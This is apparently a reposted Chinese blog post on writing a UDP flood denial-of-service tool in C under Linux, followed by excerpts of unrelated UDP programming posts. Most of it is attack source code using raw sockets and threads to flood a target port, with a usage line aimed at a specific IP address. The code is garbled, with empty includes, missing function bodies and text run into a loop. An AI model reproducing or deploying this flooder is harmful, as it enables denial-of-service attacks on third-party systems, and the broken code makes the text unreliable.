Linux網路程式設計之UDP洪水攻擊

2021-06-03 23:54:21 字數 1881 閱讀 2165

1.概述

udp攻擊向目標主機的udp埠傳送大量的udp報文,造成目標主機的埠堵塞,達到攻擊的目的。建立多執行緒,利用原始套接字封裝udp與ip的首部,然後傳送udp報文,攻擊目標主機.

2. udp攻擊例項

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

/**udp洪水攻擊:

不停的向目的主機傳送udp包,讓目的主機接收埠擁塞,以達到攻擊的目的

**/#define maxchild 2

#define k 1024

#define datuml 1*k

static int proto_udp=-1;//udp協議型別

static unsigned long dest=0;//目的位址,32位二進位制

static int dest_port=0;

static int rawsock=-1;//原始套接字

static int alive=0;

//整個ip報文包括3個部分,ip首部,udp首部,udp資料部分

struct dosseg_t dosseg;

//計算校驗和

static unsigned short dos_cksum(unsigned short *data,int length)

if(left==1)

sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>16);

ret=~sum;

return ret;

}static inline long myrandom(int begin,int end)

static void dos_udp()

//printf("size=%d\n",size);

}//執行緒函式

static void dos_fun(unsigned long ip)

}static void dos_sig()

int main(int argc,char*argv)

//獲取udp的協議型別

protocol=getprotobyname(protoname);

if(protocol==null)

proto_udp=protocol->p_proto;

dest=inet_addr(argv[1]);//得到目的位址

if(dest==inaddr_none)

memcpy((char*)&dst,host->h_addr,host->h_length);

dest=dst.s_addr;

}dest_port=atoi(argv[2]);

//建立原始套接字

rawsock=socket(af_inet,sock_raw,proto_udp);

printf("rawsock=%d\n",rawsock);

if(rawsock<0)

//設定手工填寫ip首部

setsockopt(rawsock,sol_ip,ip_hdrincl,"1",sizeof("1"));

//建立多執行緒傳送udp包

for(i=0;i執行:

./udp-attack 222.27.253.1 8888

攻擊222.27.253.1 8888埠.

總結:本文主要介紹了通過原始套接字傳送大量的udp報文,使埠阻塞,達到攻擊的目的。

Linux網路程式設計 UDP洪水攻擊

udp攻擊,又稱udp洪水攻擊或udp淹沒攻擊 英文 udp flood attack 是導致基於主機的服務拒絕攻擊的一種。udp 是一種無連線的協議,而且它不需要用任何程式建立連線來傳輸資料。當受害系統接收到乙個 udp 資料報的時候,它會確定目的埠正在等待中的 應用程式。當它發現該埠中並不存在正...

Linux 網路程式設計之UDP

1.介紹 udp協議是無連線的,不可靠傳輸的協議.伺服器與客戶端的互動不需要建立連線,沒有流量控制的功能。與tcp一樣,它也是傳輸層協議,通訊過程中需要ip位址與埠號。使用udp進行程式設計包括伺服器與客戶端,下面介紹一下伺服器與客戶端的通訊流程 伺服器流程 1 建立伺服器套接字描socket 2 ...

linux網路程式設計之UDP

udp 前面已經講過tcp網路通訊,然後tcp每次通訊都要進行三次握手連線,雖然傳輸的可靠性比較高,但對於一些及時性的資料的傳輸顯得太過費時,所以就有了udp這種無連線通訊,但資料容易出錯。伺服器端填充 sockaddr結構 bzero addr,sizeof struct sockaddr in ...